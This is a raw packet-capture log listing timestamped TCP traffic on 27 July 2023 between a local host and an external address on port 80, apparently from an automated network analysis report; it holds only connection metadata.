Jul 27, 2023 18:27:01.320060968 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.320080042 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.320086956 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.320102930 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.320115089 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.320132971 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.320142031 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.320159912 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.320168972 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.320195913 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.320199966 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.320220947 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.320223093 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.320242882 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.320251942 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.320295095 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.320342064 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.334007978 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.334085941 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.334121943 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.334157944 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.334187984 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.334193945 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.334219933 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.334228992 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.334239006 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.334266901 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.334301949 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.334361076 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.340398073 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.340495110 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.340531111 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.340570927 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.340581894 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.340642929 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.340804100 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.340852022 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.340898037 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.340912104 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.340943098 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.340989113 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.340992928 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.341037035 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.341041088 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.341085911 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.341131926 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.341139078 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.341176033 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.341221094 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.341239929 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.341267109 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.341320992 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.341365099 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.341379881 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.341412067 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.341454029 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.341474056 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.341501951 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.341502905 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.341548920 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.341594934 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.341604948 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.341640949 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.341686964 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.341731071 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.341774940 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.341818094 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.341856956 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.341861010 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.341878891 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.341907024 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.341952085 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.341963053 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.341998100 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.342041016 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.342055082 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.342087030 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.342134953 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.342179060 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.342185974 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.342226028 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.342268944 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.342283010 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.342314959 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.342329979 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.342360020 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.342405081 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.342448950 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.342451096 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.342494011 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.342539072 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.342561007 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.342586994 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.342588902 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.342634916 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.342679024 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.342694044 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.342725992 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.342770100 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.342784882 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.342816114 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.342860937 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.342906952 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.342917919 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.342953920 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.342998028 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.343013048 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.343043089 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.343055010 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.343089104 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.343132973 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.343147039 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.343178988 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.343224049 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.343235970 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.343270063 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.343314886 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.343358040 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.343374968 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.343403101 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.343447924 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.343467951 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.343492985 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.343509912 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.343539000 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.343585968 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.343596935 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.343631029 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.343677044 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.343720913 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.343739033 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.343765974 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.343811989 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.343822002 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.343856096 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.343902111 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.343935013 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.343946934 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.343955040 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.343995094 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.344038963 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.344074011 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.344084024 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.344129086 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.344173908 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.344187021 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.344217062 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.344261885 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.344306946 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.344338894 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.344342947 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.344386101 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.344429970 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.344449043 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.344475031 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.344520092 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.344541073 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.344566107 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.344614983 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.344659090 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.344674110 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.344705105 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.344748974 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.344767094 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.344794989 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.344804049 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.344840050 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.344882965 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.344901085 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.344928026 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.344973087 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.344988108 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.345016956 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.345062971 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.345107079 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.345120907 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.345150948 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.345196009 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.345210075 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.345241070 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.345247984 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.345285892 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.345330954 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.345343113 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.345375061 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.345419884 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.345432043 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.345465899 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.345510006 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.345555067 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.345576048 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.345601082 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.345644951 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.345663071 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.345690012 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.345705032 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.345733881 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.345778942 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.345797062 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.345824003 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.345868111 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.345885992 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.345912933 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.345957041 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.345972061 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.346002102 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.346048117 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.346090078 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.346134901 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.346168995 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.346179008 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.346225023 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.346267939 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.346290112 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.346313000 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.346357107 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.346370935 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.346400976 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.346417904 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.346446037 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.346504927 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.357511997 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.357551098 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.357583046 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.357613087 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.357635975 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.357641935 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.357675076 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.357683897 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.357703924 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.357729912 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.357734919 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.357847929 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.363929033 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.363974094 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.364466906 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.369741917 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.369786024 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.369823933 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.369863033 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.369859934 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.369904041 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.369945049 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.369966030 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.369982004 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.370021105 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.370033979 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.370059013 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.370069981 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.370098114 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.370137930 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.370151043 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.370193958 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.370255947 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.370274067 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.370414019 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.370454073 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.370492935 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.370503902 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.370532036 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.370570898 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.370609045 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.370611906 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.370611906 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.370647907 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.370687008 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.370698929 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.370724916 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.370763063 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.370783091 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.370822906 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.370873928 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.370924950 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.370929003 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.370975971 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.371026993 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.371032953 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.371078968 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.371092081 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.371130943 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.371182919 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.371186018 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.371233940 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.371299982 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.371370077 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.371423960 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.371474981 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.371525049 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.371534109 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.371593952 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.371633053 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.371644974 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.371659994 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.371697903 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.371748924 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.371762991 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.371800900 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.371851921 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.371860027 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.371903896 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.371905088 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.371954918 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.372006893 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.372011900 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.372059107 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.372109890 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.372114897 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.372163057 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.372241020 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.372303963 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.372348070 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.372374058 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.372431040 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.372477055 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.372518063 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.372556925 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.372581959 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.372601986 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.372648001 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.372661114 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.372689962 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.372730017 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.372750044 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.372771978 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.372811079 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.372852087 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.372858047 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.372885942 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.372891903 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.372934103 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.372973919 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.372978926 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.373013973 CEST	80	49705	45.9.74.80	192.168.2.4
